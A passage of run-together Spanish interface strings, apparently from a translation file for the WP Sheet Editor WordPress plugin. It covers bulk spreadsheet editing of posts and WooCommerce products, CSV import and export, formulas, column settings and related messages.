columnas habilitadas.Por defecto, mostramos cada casilla de verificación como una columna separada, pero si tienes casillas de verificación con muchas opciones es posible que desees utilizar una columna con un desplegable en su lugar.Por defecto, mostramos el nombre del archivo como texto de vista previa junto a la miniatura, habilita esto para mostrar solo la miniatura y botones únicamente.Por defecto, mostramos la etiqueta en la celda en lugar del valor bruto. Pero puedes habilitar esta opción para mostrar el valor bruto en las celdas.Por defecto, al exportar una columna con imágenes, agregamos el ID del archivo a la URL para que al importar, sepamos el origen de la imagen y la guardemos más rápido. Activa esta opción para no agregar el ID a la URL, todo funciona bien al habilitar esta opción, solo que el guardado puede ser un poquito más lento.Por defecto, la importación se detiene cuando un producto hace referencia a una imagen rota y hay que corregir el problema en el archivo e iniciar una nueva importación. Habilita esta opción y te permitiremos importar productos sin imágenes cuando la URL de la imagen esté rotaCANTIDAD DE CARACTERES <CANTIDAD DE CARACTERES >CONTIENEColumna en el CSVColumna en el CSVArchivo CSVArchivo CSV desde mi computadoraArchivo CSV desde una URLArchivo CSV en el servidorUbicación del archivo CSVCalendarioCancelarCancelar la importaciónCancelar los cambios y cerrar la ventana emergentePoner en mayúsculas la primera letra de cada palabra del campo. Es decir, convertir "mi título" en "Mi Título".Poner en mayúsculas las palabrasLeyendaCuidado. Los cambios no son reversibles. Por favor, comprueba nuevamente el procedimiento.Nombre de la categoría...Tipo de celdaCambiar los ajustes de los atributosCambiar el color de fondoCambios guardadosLos cambios se guardaron con éxitoCasilla de verificaciónBorrar valorHaz clic aquí para exportar los ajustesHaz clic aquí para ver todas las columnas otra vezBotónClics ahorrados
                  (estimado)CerrarFormato de columnaGrupos de columnasClave de la columnaNombre de columnaColumna no encontrada. Intenta con otro criterio de búsqueda.Columna removida. Ve a "Ajustes > Ocultar/mostrar columnas" para habilitarla de nuevoConfiguraciones definidas en el gestor de columnasTamaños de las columnasTítulos de las columnasAncho de columna (pixeles)Las columnas no se pudieron guardar. Inténtalo de nuevo.Columnas creadas manualmenteLímite de columnasGestor de columnasRenombrar columnasRedimensionar columnasColumnas restauradas con éxito. Por favor, recarga la página para ver las columnas restauradas y habilitarlasVisibilidad de las columnasVisibilidad de las columnas y los Campos Personalizados (opcional)Recuento de comentariosComentariosHoja de Cálculo de Comentarios, Reseñas y Notas de PedidoContáctanosContiene palabra claveContenidoContinuarEl rol de colaborador sólo puede ver y editar sus propios posts, pero no puede subir imágenes.Copiar y pegar desde otra hoja de cálculo o tablaCopiar y pegar en la siguiente hoja de cálculoCopiar archivos de este producto: (Necesitas guardar los cambios después.)Copiar de otras columnasCopiar de esta columnaCopiar precio normal y disminuir en porcentajeCopiar el precio normal y disminuir en cantidadCopiar el valor de otros campos en este campo.
                  Ejemplo, copiar "precio rebajado" al campo "precio normal".Copiar las variaciones este/estos producto(s).Copiar variacionesCopiar variaciones y atributos de este producto:Copiar variaciones más rápido: Número de variaciones a copiar por loteCopiar variaciones de este productoCrear y copiar variaciones para los productos variables.Crear columnaCrear nuevas filas y actualizar las filas existentesCrear este número de variacionesCrear variaciones¿Crear variaciones para cada combinación de atributos?Ventas cruzadasMonedaHoja de cálculo actualHoja de Cálculo de Tablas de Bases de Datos PersonalizadasNombres de atributos personalizadosAtributo personalizado: %sColumnas personalizadasFórmula personalizadaTipos de post personalizados¿Personalizar las característicasModo oscuroFaltan datos, inténtalo de nuevo más tarde.Fuente de datosFechaFecha (GMT)Fecha y horaFecha InicialDíasDesactivar el prefetch de los datosSeparador de decimales¿Decodificar las comillas?Disminuir enDisminuir en númeroDisminuir en porcentajeDisminuye el valor existente en un número.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85Disminuye el valor existente en un porcentaje.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Deducir horas, días, semanas, meses, o años de las fechas existentes.
                  Si la fecha existente está vacía, usaremos la fecha actual como base.Deducir tiempo de las fechas existentesPor defectoAtributo por defectoAtributos predeterminadosOrden por defectoPor defecto: 4. Cuando ingresas una URL externa en columnas de imágenes o durante la importación, descargamos la imagen y la guardamos en la librería multimedia de WordPress. Por defecto, limitamos la descarga a 4 segundos, cualquier descarga que supere eso será cancelada para evitar problemas de rendimiento.EliminarBorrar todoEliminar completamenteEliminar campoBorrar filas más rápido: Número de filas a borrar por loteBorrar filaBorrar filasEliminar campo serializado¿Borrar las imágenes adjuntas al borrar una entrada?Borrar los elementos nuevos y mantener el elemento más antiguoBorrar los elementos antiguos y mantener el elemento más reciente¿Borrar cuentas de usuario en toda la red al borrar usuarios en la hoja de cálculo?Video de demostraciónDescripciónDeshabilitar todas¿Deshabilitar la carga lenta de las celdas?Deshabilitar columna. Puedes habilitarla más tarde.¿Deshabilitar la promoción de extensiones?¿Desactivar las acciones posteriores al guardar cambios?¿Deshabilitar las estadísticas de inventario de productos?¿Deshabilitar el soporte de columnas serializadas?¿Deshabilitar la adición del ID del archivo a la URL de las imágenes?¿Deshabilitar la activación automática de la opción "Es visible" para los atributos de los productos?¿Deshabilitar la activación automática de la opción "Usar para variaciones" para los atributos en los productos variables?¿Deshabilitar la detección automática del formato?¿Desactivar la carga automática de filas?¿No mostrar el nombre del archivo en la celda de las imágenes?¿Desactivar el modo de pantalla completa?¿Deshabilitar la api heartbeat en la hoja de cálculo?¿Deshabilitar la barra de ayuda?¿Deshabilitar la ventana emergente que te pide instalar extensiones importantes?¿Deshabilitar la sustitución de los saltos de línea con etiquetas p?Deshabilita esta opción si estás usando un plugin de caché de objetos/bases de datos. Desactivamos esto por defecto para que el ahorro sea más rápido. Cuando editas muchas entradas, WordPress intenta "limpiar" la caché incluso si no estás usando un plugin de caché, haciendo cientos de consultas innecesarias a la base de datos.¿Deshabilitar el widget de estadísticas de uso?DeshabilitadaSi desconectas el sitio actual de tu cuenta de Google y de la API de WP Sheet Editor, se detendrán las tareas de sincronización que hayas creado en este sitio. Sin embargo, las tareas de sincronización creadas por otros usuarios en este sitio, que se sincronizan con sus propias cuentas de Google, permanecerán activas. Tus otros sitios de WordPress seguirán funcionando con normalidad. ¿Quieres continuar?¿Mostrar el valor bruto en las celdas seleccionadas?Mostrar el editor de hojas de cálculo en el frontendMostrar el editor de hojas de cálculo en el frontendMostrar las variacionesNo permitir¿No copiar las imágenes de las variaciones?¿Quieres deshabilitar las columnas para los nuevos campos encontrados?Quieres borrar {rows_number} filas de la base de datos completamente? Si quieres restaurarlas después, deberías hacer una copia de seguridad antes.¿Quieres actualizar o crear filas?¿No mostrar las columnas deshabilitadas en los módulos?¿No mostrar columnas de sólo lectura en la búsqueda avanzada?DescargarID de la descarga %dURL de la descarga %dNombre de la descarga %dDescargar archivo CSVURL de la descargaCaducidad de la descargaArchivos descargablesArchivos descargables: URLsArchivos descargables: NombresLímite de descargasNombre de la descargaTipo de descargaActualización de descargaDescargableDescargasArrastra las columnas a la izquierda o a la derecha para habilitarlas/deshabilitarlas. Arrástralas hacia arriba o hacia abajo para reordenarlas. Haz clic en el botón "editar" para renombrarlas, haz clic en el botón "x" para borrarlas por completo (sólo cuando estén deshabilitadas previamente).DuplicarDuplicar (Herramienta)Duplicar desde el idioma principalDuplicar artículos masivamenteDuplicar elementos masivamente.Duplicar filaDuplicar filas: Número de copias a crear por loteDuplicar este elemento:Archivos de descarga EDDPrecio variable EDDHABILITAR COLUMNAS. Estas columnas requieren una recarga de la página: {columns}. ¿Quieres recargar ahora? Recargaremos automáticamente.TERMINA CONHoja de Cálculo de Easy Digital DownloadsEditarEditar Editar %sEditar cupones en una hoja de cálculo.
                  Editar códigos de cupón, montos, estado, restricciones y más. Realizar búsquedas avanzadas. La hoja de cálculo está sincronizada con tu sitio, sin necesidad de importar/exportar. Descargar PluginEditar Campos Personalizados en una Hoja de CálculoEditar Entradas y Páginas en una Hoja de CálculoEditar perfiles de usuario en una hoja de cálculo - BásicoEditar Perfiles de Usuario en la Hoja de Cálculo - COMPLETOEditar productos WooCommerce, Variaciones WooCommerce y Atributos.
                  Editar cientos de filas a la vez usando fórmulas, copiar información entre filas,
                  Editar post types personalizados y campos personalizados, Editar Perfiles de Usuario, y MásEditar %s de WordPressEditar todas las filas de mi búsqueda actual (incluyendo las filas no visibles).Editar atributosEditar categorías, etiquetas y atributos en una hoja de cálculoEditar archivosEditar en una Hoja de CálculoEditar la meta claveEditar solo los productos simples y padresEditar solo las variacionesEditar ajustesEditar las filas que he seleccionado manualmente en la hoja de cálculo.Editar las mismas filas que seleccioné manualmente previamenteEditar "%s"Editando:El rol de editor puede ver y editar todos los post y páginas.ElementorCorreo electrónicoMensaje del correoAsunto del correo electrónicoHabilitarHabilitar filtros avanzadosHabilitar todas¿Habilitar el guardado automático?Habilitar columnaHabilitar comentariosHabilitar nueva hoja de cálculo¿Habilitar la opción de restringir las vistas de hojas de cálculo por usuario?Habilitar la paginaciónHabilitar las valoraciones¿Habilitar el modo simple?Habilita el modo avanzado en la parte inferior de la página para personalizar el ancho de la columna, el formato (editor, carga de archivos, taxonomías), etc.¿Habilitar modo oscuro?Habilitar el selector de términos de taxonomía bonitoHabilitar la corrección de la codificación utf8Habilita esta opción si quieres copiar todos los datos de la variación, excepto la imagen de la variación.HabilitadasHabilitar esta columna requiere una recarga de la páginaIngresa %sIngresa los IDs separados por comas, espacios, nuevas líneas, o usando tabs. Puedes agregar rangos como 20-50 como un acceso directo.Ingresa un formato de fecha. Lista de formatos. Ejemplo: A-m-dIngresa un formato de fecha. Lista de formatos. Ejemplo: A-m-d H:i:sIngresa un formato de fecha. Lista de formatos. Si lo dejas vacío, usaremos el formato por defecto: A-m-dIngresa un formato de fecha. Lista de formatos. Ejemplo: D-M-A Ingresa un formato de fecha. Lista de formatos. Si lo dejas vacío, usaremos el formato por defecto: A-m-d H:i:sIngresa una palabra claveIngresa una palabra clave para excluir filas. Separa múltiples palabras claves con un punto y coma (;)Ingresa un nombre...Ingresa un número y esas columnas se fijarán al hacer scroll horizontalmente. Puedes hacer clic derecho en cualquier columna para fijar y descongelar. Por ejemplo, ingresa 2 para fijar las primeras 2 columnas.Ingresa un término de búsqueda...Ingresa un títuloIngresa un nombre de usuario o correo electrónico...Ingresa una palabra y encontraremos la primera columna coincidente. Evitarás tener que desplazarte por docenas de columnas para encontrar la que necesitas.Ingresa cada selección en una nueva línea. Para mayor control, puedes especificar un valor y una etiqueta así: rojo : RojoIngresar nombre del elemento...Ingresa varios SKUs o IDs separados por comasIngresa múltiples URLs separadas por comasIngresa varios atributos separados por |Ingresa los códigos de varios idiomas separados por comas y crearemos copias del idioma principal. Por ejemplo: en, es. Los idiomas existentes serán omitidos.Ingresa varios títulos separados por comasIngresa varios términos separados por %sIngresa varios términos separados por comasIngresa una URL por líneaIngresa uno o más términos separados por %s o uno nuevo en cada línea. Ingresa la jerarquía completa como "Padre > Hijo" para remover subcategoríasIngresa la URL. Puede ser una URL de tu propio sitio (Ejemplo http://sitio.com/wp-content/uploads/2016/01/file.jpg) o una URL externa.Ingresa la URL. Debe ser una URL de tu propio sitio. Ejemplo: http://sitio.com/wp-content/uploads/2016/01/file.jpgIngresa las URL separadas por comas. Pueden ser de tu propio sitio.Ingresa las URL separadas por comas. Deben ser de tu propio sitio.Ingresa el nombre del atributoIngresa el nombre de la columna (lo que quieras) y selecciona la clave de campo en el menú desplegable. Si no la encuentras, puedes escribirla en el desplegable. Ver Tutorial Debes ingresar la jerarquía completa como padre > hijoIngresa la lista de claves de campo separadas por comas, puedes ingresar la clave completa del campo meta o las palabras clave o prefijos parciales. Esto es útil porque algunos plugins añaden miles de campos innecesarios a la base de datos y desordenan la hoja de cálculoIngresa los nombres de Ingresa los nuevos términos separados por %s. Puedes agregar jerarquía como padre > hijo > hijoIngresa el número.Ingresa el número del porcentaje.Ingresa el nombre o el slug del término.Ingresa el valor a añadir al final del valor existente.Ingresa el valor para añadir al inicio del valor existente.Error en la fila con el ID: %d - %sError. El motor matemático no pudo ejecutar la operación matemática: %1$s, ID: %2$dError. La columna "Estado" debe estar habilitada en la hoja de cálculo antes de remover los duplicados.Error: %sError: El nuevo valor está vacío o es igual al valor antiguoEtc.Hoja de Cálculo de The Events CalendarYa está todo guardado.Todo lo que necesitas para todos los post types y productosTodo lo que necesitas para los usuarios y clientesEjemplo 1: $current_value$ + 2 * 5.
                  Ejemplo 2: $_regular_price$ * 0.7 (Establecer precio normal - 30%)Ejemplo: ExtractoEjecutarEjecutar AhoraSalirSalir del modo de Pantalla CompletaExportarExportar e importar ajustesExportar columnaExportar filas más rápido: Número de filas a exportar por loteExportar a un archivo CSVAmpliar la hoja de cálculoNombre de la extensiónExtensionesExtensiones que requieren actualizaciónImágenes FTP: ¿Omitir imágenes con el mismo nombre de archivo?Campos de búsqueda marcados como favoritosImagen DestacadaImagen destacadaCampoCampo 2: Columna en el CSVCampo 2: Campo en WordPressArchivo (URL o ruta)ID del archivoURL del archivoURLs de archivosNo se ha podido cargar el archivo. Por favor, inicia el proceso de nuevo.Cargar archivoCarga de archivos (múltiple)Carga de archivos (individual)El archivo se subió con éxito pero no es un archivo CSV válido o utiliza una codificación incorrecta. Si editaste el archivo en Excel, verifica que se guardó como UTF-8 y ten en cuenta que, a veces, copiar el pegado de lugares externos añade caracteres no válidos. Por lo tanto, asegúrate de pegar sólo los valores y no el formato para evitar pegar caracteres inválidos.Archivos guardados.Filtrar elementos de la listaPaso finalEncontrar estos IDs:Encontrar estas URLs:Para usuarios avanzados. Ingresa el nombre de tu función PHP y pasaremos 2 parámetros: $current_data (string con el valor actual de la celda) y $row_id, la función debe aceptar los 2 parámetros y devolver el valor modificado para guardar como string. Automáticamente guardaremos si el valor devuelto cambió. Leer más.Por ejemplo, si buscaste los posts por autor = Marcos usando la herramienta de búsqueda, actualizaremos sólo los posts con el autor MarcosPor ejemplo, si seleccionas las categorías del blog, sólo aceptaremos categorías del blog en esta columna.Por ejemplo, si seleccionas el post type "producto", sólo aceptaremos títulos de productos.Por ejemplo, selecciona "español" y "alemán" aquí y encontraremos productos que no tienen traducción al español ni al alemán.Por ejemplo, selecciona "español" y "alemán" aquí y encontraremos términos que no tienen traducción al español ni al alemán.Por ejemplo, cuando se borra un post por completo (sin ir a la papelera), se borra la imagen destacada y las imágenes de la galería de productos de la biblioteca de medios. CUIDADO. Si usas las mismas imágenes en varios posts, se romperán las imágenes en otros postsModo de celda formateada: Renderizar como: (Usar sólo si el tipo de celda está vacío)Fórmulas¿Congelar las columnas iniciales del lado izquierdo?Hoja de Cálculo FrontendHojas de Cálculo FrontendURL CompletaContenidoEl modo de pantalla completa está activadoGaleríaAjustes generalesGenerar extractoGenerar columnas de campos serializados basados en estos postsObtén ayuda instantánea en el chat en vivo + soporte por correo electrónico en horas de oficinaObtén las siguientes %d extensiones por sólo $ %s $ %sHoja de Cálculo de GiveWPOrden globalPásate a PremiumAtrásIr a la páginaIr arribaHojas de Cálculo de GoogleGuías y TutorialesAlturaAyudaAquí hay un archivo CSV como ejemplo que contiene todo tipo de productos.Aquí puedes controlar cuántas variaciones copiaremos en cada tanda. Si usas un valor alto, la copia terminará más rápido pero puede saturar tu servidor. Recomendamos copiar 50 por tanda.Aquí puedes controlar el tamaño del lote para las exportaciones. Si usas un número alto, las exportaciones terminarán más rápido. Puedes usar un número alto de forma segura porque automáticamente volvemos a un número más bajo si el servidor se sobrecarga durante una exportación. Por ejemplo, exportar 100 filas por lote y completar las exportaciones súper rápido y si detectamos lentitud en una exportación reiniciaremos automáticamente la exportación con 10 filas por loteOcultar / Mostrar columnasOcultar la barra de administración en el frontendOcultar columnaHoras¿Cómo se guardan los valores múltiples en la base de datos?¿Cómo debemos encontrar los elementos existentes a editar?¿Cómo quieres guardar los archivos múltiples?¿Cómo quieres guardar los posts múltiples?¿Cómo quieres guardar los términos múltiples?¿Cómo se guarda el archivo en la base de datos?¿Cómo se guarda el post en la base de datos?¿Cómo se guarda el término taxonómico en la base de datos?¿Cómo se guarda el usuario en la base de datos?¿Cuánto tiempo quieres esperar entre cada lote? (en segundos)¿Cuántas copias quieres crear?No quiero copiar todas las variacionesTengo una copia de seguridad de la base de datos. Ejecutar AhoraEntiendo que se editarán los productos de mi búsqueda.Entiendo, continuarQuiero buscar las filas a editar y editar todos los resultados de la búsquedaPor ejemplo, un valor como "(234343) Mi gran título" puede convertirse en "Mi gran título" eliminando todo lo que precede a ") ".Es decir, un valor como "Mi gran título (234343)" puede convertirse en "Mi gran título" eliminando todo lo que aparece después de " ("IDSi la columna tiene texto demasiado largo, borraremos el HTML y lo acortaremos a un número de palabras.Si se trata de un atributo global, ingresa la clave del atributo (por ejemplo, pa_color). Ingresa el nombre si se trata de un atributo personalizado.Si estás intentando descargar algo que se exportó hace varias horas, es posible que el archivo haya caducado. Los archivos caducan al cabo de %s horas.Si haces clic en el botón "descargar", descargaremos el archivo desde el sitio web oficial: wpsheeteditor.com.Si deshabilitas esta opción, esta columna sólo se editará manualmente.Si habilitas esta opción, algunas columnas aparecerán como texto. Normalmente detectamos los campos de fecha, campos de imagen.Si habilitas esta opción, el widget de estadísticas de uso que se muestra en el panel de control de wp-admin será eliminado.Si habilitas esta opción, añadiremos campos a los perfiles de usuario donde podrás especificar qué vistas de la hoja de cálculo pueden utilizar, pueden utilizar todas las vistas de la hoja de cálculo si esto está desactivado.Si habilitas esta opción, simplificaremos las opciones de la hoja de cálculo y eliminaremos ejemplos avanzados, consejos y opciones poco utilizadas en la herramienta de búsqueda, la herramienta de edición masiva, la herramienta de importación, la herramienta de exportación y otros lugares.Si detienes una importación para editar el archivo CSV o cambias la velocidad de importación, puedes iniciar una nueva importación y continuar desde donde la dejaste.Ignorar esta columnaAltura de previsualización de la imagen dentro de la celdaAncho de previsualización de la imagen dentro de la celdaImagina poder hacer todos esos cambios a cientos o miles de entradas a la vez en sólo unos minutos. La función de fórmulas está disponible como extensión premium.ImportarImportar todas las filas como nuevasImportar todas las columnasImportar como metadatosImportar CSVImportar ajustesExtensiones importantesImportante. Sólo hemos detectado una columna en el archivo CSV. Si esto es incorrecto, sigue estos pasos para arreglarlo.ImportandoEn los últimos X díasEn las últimas X horasEn las últimas X semanasEn los últimos X añosEn esta página puedes configurar rápidamente el editor de hojas de cálculo. Esto es todo lo que necesitas para usar el editor. Los ajustes en las otras pestañas son completamente opcionales y te permiten ajustar el rendimiento del editor entre otras cosas.Aumentar la productividadIncrementar enIncrementar en númeroIncrementar en porcentajeAumentar o disminuir los precios de los productosAumentar o disminuir el inventario de los productosAumentar filas por páginaAumenta el valor existente en un número.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85Aumenta el valor existente en un porcentaje.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Desfase inicial de las filasInsertar en el elementoInstalar GratisIntegraciones#898AJSI inválido. El reemplazo requiere 2 parámetros, y solo recibimos uno#8W23CV inválido. Solo aceptamos fórmulas MATH y REPLACE, pero recibimos un tipo de fórmula desconocida.#8W89PQ inválido. La fórmula matemática está vacía.#8W89PQ inválido. La fórmula matemática está vacía.#PQ8SPQ inválido. La función PHP no existe: %s#PQ8SPQ inválido. La fórmula matemática contiene una coma: %sUnidad de tiempo inválida.InventarioEs descargableEs Virtual¿Es visible?¿Es un atributo global?Es destacado?¿Es de sólo lectura?¿Es visible?Busca en el título de la entrada y en su contenido. Busca por varias palabras clave separándolas con punto y coma (;)Es importante que las instales para evitar errores, pero puedes hacerlo más tarde si quieres. Encuentra esta ventana emergente en la barra de herramientas > extensiones > Integraciones.Elementos cargados en la hoja de cálculoSólo guarda los cambiosClaveEtiquetaÚltima modificaciónDéjalo vacío para usar los ajustes globales.Deja este campo vacío si quieres anular el término.LongitudModo claroColor de los enlacesListado de columnas eliminadasEn vivoCargarCargar más filas¿Cargar más filas al hacer scroll?Cargar más al hacer scrollCargar las filas más rápido: Número de filas a cargar por loteLocalizar celdaLocalizar celda.Localizar columnaLas celdas bloqueadas sólo muestran una vista previa del valor. La longitud de caracteres por defecto es %dMensaje de inicio de sesiónLogoColor principalHacer otra búsquedaGestionar de inventario¿Administrar los valores de las columnas de taxonomía como IDs de términos?¿Gestionar los valores de las columnas de taxonomía como slugs de términos?¿Administrar la columna "Padre" usando los IDs?Fórmulas matemáticasFórmula matemáticaDecimales para redondear valores al realizar ediciones masivas en columnas numéricas?Operación matemáticaCantidad máxima de campos disponibles para búsqueda avanzada?¿Número máximo de caracteres mostrados en la vista previa de los valores de las columnas tinymce?Número máximo de segundos para descargar imágenes externas?Número máximo de variaciones por combinación de atributosNúmero máximo de palabrasMáximo de caracteres visibles en las celdas bloqueadasTal vez tu servidor no nos permitió crear el archivo. Ocurre si tu servidor no está configurado correctamente y nuestra carpeta %s no tiene permisos de escritura, por lo que no podemos crear el archivo. Deberías solicitar ayuda a tu proveedor de hosting.Hoja de Cálculo de la Biblioteca de Medios de WordPressMenúClaves meta que deben utilizar el administrador de campos serializados infinitosMeta: %sMicrosoft Excel (Office 365)Tipo de MIMEMisceláneaColumnas faltantesFalta el número y la unidad de tiempo.Parámetros faltantes.Falta el post type o la column_key (clave de la columna)Falta el post type, old_column_key, o new_column_key; o la clave antigua y la clave nueva son iguales."Datos" del campo requerido faltantes.Campo requerido faltante. Por favor, inicia el proceso de nuevo.Fecha de modificaciónFecha de Modificación (GMT)Celdas modificadasFilas modificadasMesesMás opcionesMover todos tus borradores a posts publicados o a cualquier otro estadoMover cientos de entradas a la papeleraDesplegable de selección múltipleMúsicaMi licenciaNO CONTIENENo Contiene esta palabra claveNombreNombre de esta exportaciónNombre de esta exportación (opcional)¿Necesitas ayuda?¿Necesitas ayuda? Consulta nuestros tutoriales¿Necesitas ayuda? ContáctanosNueva Hoja de CálculoNuevo menú desplegable de selección múltiple (predeterminado)Se añadieron nuevas filasNuevo valorSiguienteNoNo se han encontrado artículos.No hay más filas disponibles.No hay opciones disponiblesNo hay filas disponibles para la página actual.No se han encontrado filas que coincidan con los parámetros de búsqueda. Puedes eliminar los filtros activos o intentarlo con una búsqueda diferente.No se han encontrado taxonomías.No, eliminar todo lo que aparece después del texto, sin incluir el textoCelda normalNo está permitido.No permitido. Por favor, inicia el proceso de nuevo.No encontradoNo se encontró en la PapeleraNota. Esta no es una característica de seguridad, el usuario puede editar todos los campos en el editor normal basado en el rol. Esta opción es por conveniencia, para que los usuarios puedan solo ver las columnas que necesitan cuando abran la hoja de cálculo. Si dejas estos campos vacíos, podrán cambiar entre todas las vistas existentesNota: Separa los valores con el caracter %1$s
                  Te recomendamos usar Atributos Globales si los vas a usar en muchos productos.Crear Atributos Globales
                  Los atributos globales tienen sus propias columnas en la hoja de cálculo. Puedes editarlos en las columnas (más rápido) o usando esta ventana emergente.
                  Si estás editando los atributos de variaciones, la variación debe estar habilitada. De lo contrario, los atributos no se guardarán.Nota: Separa los valores con este carácter: %s.
                  El producto debe ser variable y tener variaciones existentes para que esto funcione. De lo contrario los atributos por defecto no serán guardados.NúmeroNúmero de decimalesNúmero de filas a procesar por lote:OKAutocompletado de selección simple antiguoSlug antiguoVersiones más antiguas de Microsoft ExcelUn correo electrónico por usuario significa que si 3 filas tienen la misma dirección de correo electrónico, sólo una fila activará un correo electrónico y las demás se omitirán. Un correo electrónico por fila significa que si 3 filas tienen la misma dirección de correo electrónico, enviaremos 3 correos electrónicos a la misma dirección (uno por fila).Una fila de variación tiene un producto padre que no existe. La columna "padre" contiene el %1$s: %2$s. Por favor, corrígelo e inicia una nueva importaciónSolo los administradores pueden enviar correos electrónicos a los usuarios.Copiar solo las variaciones nuevasSólo crear las filas nuevas, ignorar las filas existentesSólo para usuarios avanzados. Leer más.¿Sólo se puede enviar un correo electrónico por dirección?Oops, no encontramos nada.Abrir la Página de AjustesAbrir en una Hoja de CálculoAbrir el Editor de Hojas de CálculoOperadorOrdenOtroOtras extensionesFunción PHPPágina PadrePáginasPadreHoja de Cálculo Padre:ContraseñaPega los ajustes aquí (el contenido del archivo exportado). Notas:Pegar con el teclado: Ctrl+VPausarLos receptores responderán a esta dirección de correo electrónicoEstado del pingModo de texto sin formato: Renderizar como: (Usar sólo si el tipo de celda está vacío)Por favor, comprueba si tienes cambios no guardados. Si es así, por favor, guárdalos o serán descartados.Por favor, corrige el error y guarda de nuevo.Por favor, corrige el error en el archivo e inicia una nueva importación. Puedes usar las "Opciones avanzadas" en el paso 1 de la importación para empezar desde esta fila específica.Ingresa el asunto y el mensaje del correo electrónico.Por favor, ingresa el nombre de las vistas de la hoja de cálculo separadas por comas.Por favor, indica cuáles términos quieres remover.Por favor, haz una copia de seguridad de tu base de datos antes de importar para estar más seguro.Por favor, haz una búsqueda para cargar las filas y comenzar a editar (usa la herramienta "Buscar" en la barra superior).Por favor, selecciona un producto.Por favor, selecciona un producto de origen.Por favor, selecciona al menos una columna a importarPor favor, selecciona un color de fondoPor favor, selecciona el post type y guarda los cambios. Después de guardar los cambios, podrás ver el resto de los ajustes e instrucciones.Por favor, escribe la palabra BORRAR y haz clic en enter para continuar:Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión. Esta función requiere la última versión de todos nuestros plugins.Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión. Las características del plugin "PosiciónDesplegable de postsPost typeHojas de CálculoHoja de CálculoDatos del postMeta del post (es decir, metaboxes)Términos del post (es decir, categorías)Post typePost type eliminadoPost type(s)Tipos de posts creados con WP Sheet EditorEntradasAñadir al inicioPrevisualizar el Editor FrontendAnteriorMenú PrincipalProProcesando...Procesando: Se han exportado %1$d de %2$d filas.Atributos del productoAtributos de producto no usados para las variacionesAtributos de producto no visiblesGalería del productoPromoción. Ahorra %d%% solo hoy. Nota de compraRespuestas rápidasBúsqueda rápidaAjustes rápidosREGEXPRaw HTMLLas columnas de sólo lectura mostrarán un candado y no será posible editarlas en ninguna parte de la hoja de cálculo. Esto no es una característica de seguridad porque la gente todavía puede editar en las pantallas normales de WP.Realinear celdasPrecio normalPrecio normal¿Recordar esta configuración de columnas para futuras importaciones?Eliminar todos los filtrosQuitar la columna completamente. Si quieres usarla más tarde, puedes deshabilitarla arrastrando y soltando a la columna de la derechaEliminar duplicadosBorrar duplicados por SKU (borrar los más nuevos)Borrar duplicados por SKU (borrar los más viejos)Borrar los duplicados por título (quitar los más nuevos)Borrar los duplicados por título (quitar los más antiguos)Borrar duplicados por título (quitar los más nuevos)Borrar duplicados con el mismo título y el mismo contenido (quitar los más nuevos)Borrar duplicados con el mismo título y el mismo contenido (quitar los más antiguos)Eliminar todo lo que aparece después de un textoEliminar todo lo que aparece después de este textoEliminar todo lo que aparece antes de un textoEliminar todo lo que aparece antes de estoEliminar imagen destacada¿Ocultar los mensajes de ayuda de las celdas?Remover términos de los postsEliminar el valor existente y dejar el campo vacío. Leer más¿Quitar también el texto de arriba?¿Eliminar el texto también?Renombrar columnaReemplazarReemplazar un término de atributo por defectoReemplazar un archivo multimedia por otro archivoReemplaza una palabra, frase o número con un nuevo valor. Leer másReemplazar el valor existente por un valor aleatorio de esta lista. Ingresa los valores separándolos con | si quieres seleccionar de una lista predefinida, o ingresa 2 fechas separadas con > si quieres seleccionar cualquier fecha de ese rango.Reemplazar el valor existente por este valor. Leer másReemplazar los shortcodes viejos por shortcodes nuevos en todos tus postsReemplazar algún/algunos término(s) con término(s) nuevo(s). Leer másReemplazar estos archivosReemplazar estoReemplazar este archivoReemplazar este términoReemplazar palabras o frases en los títulos, contenido u otros campos de tus postsResponder aSolicitud no permitida. Inténtalo más tarde.Restablecer los ajustesRedimensionar las columnas en base a los valoresRestaurar columnas eliminadasRecuento de valoracionesFilaFila: %1$d, Tipo de post: %2$s no existe en WordPress. Asegúrate de que tu CSV utiliza el nombre correcto en la columna Post type.Fila: %d. No tienes suficientes permisos para borrar este post.Fila: %d. Estás guardando un post type vacío. Asegúrate que tu CSV usa el nombre correcto en la columna "Tipo de post" o "Post Type".FilasFilas eliminadas con éxitoLas filas que he seleccionado manualmente en la hoja de cálculoEjecutar búsquedaSEOURL Canónica de SEODescripción SEODescripción SEO para FacebookImagen SEO para FacebookTítulo SEO para FacebookPalabra clave de SEOSEO - No indexar%s SEO PrimarioDescripción SEO para TwitterImagen SEO para TwitterTítulo SEO para TwitterTítulo SEOSKUINICIA CONPrecio rebajadoFecha final del precio rebajadoPrecio rebajadoFechas del precio rebajadoFecha inicial del precio rebajadoFecha inicial del precio rebajadoFecha final del precio rebajadoIgual que el post type de la hoja de cálculoIgual que la taxonomía de la hoja de cálculoGuardarGuardar y continuarGuardar cambiosGuardar los cambios y editar el siguiente postGuardar los cambios y editar el post anteriorGuarda los cambios más rápido: Número de filas a guardar por loteGuárdalos como un array serializado¿Guardar estos ajustes para sesiones futuras?Guardar esta búsquedaExportaciones guardadasBúsquedas guardadasGuárdalos separados por comasGuardado: %sGuardando cambios, por favor no cierres esta página.Escanear la BD para encontrar camposEscanear AhoraEscaneando variaciones a crear. Se han procesado {updated} productos de {total} productos.BuscarBuscar Hoja de Cálculo¿Buscar variaciones?Seguridad y roles de usuario (opcional)Seleccionar columnas habilitadasSeleccionar todasSeleccionar todos los productos de una búsquedaSelecciona la columna....Selecciona las columnas a importarSeleccionar columnas individuales a importarSeleccionar productos individualesSeleccionar producto....Selecciona el formato de las celdas, si las celdas deben ser de texto normal, un cargador de archivos o un editor de texto.Selecciona la información que quieres editar con el editor de hojas de cálculo.Selecciona el tipo de información utilizada en las celdas de esta columna.Selecciona las filas que quieres editar.Selecciona el tipo de ediciónSeleccionar...Enviar correo electrónicoEnviar un correo electrónico por filaEnviar un correo electrónico por usuarioSeparados por comasSeparadorSeparador de celdas de términos de taxonomíaArray serializadoEstablecer imagen destacadaConfigurar cientos de productos a la vez como sin existencias o en existencias¿Guardar con estado "Pendiente" si el guardado de 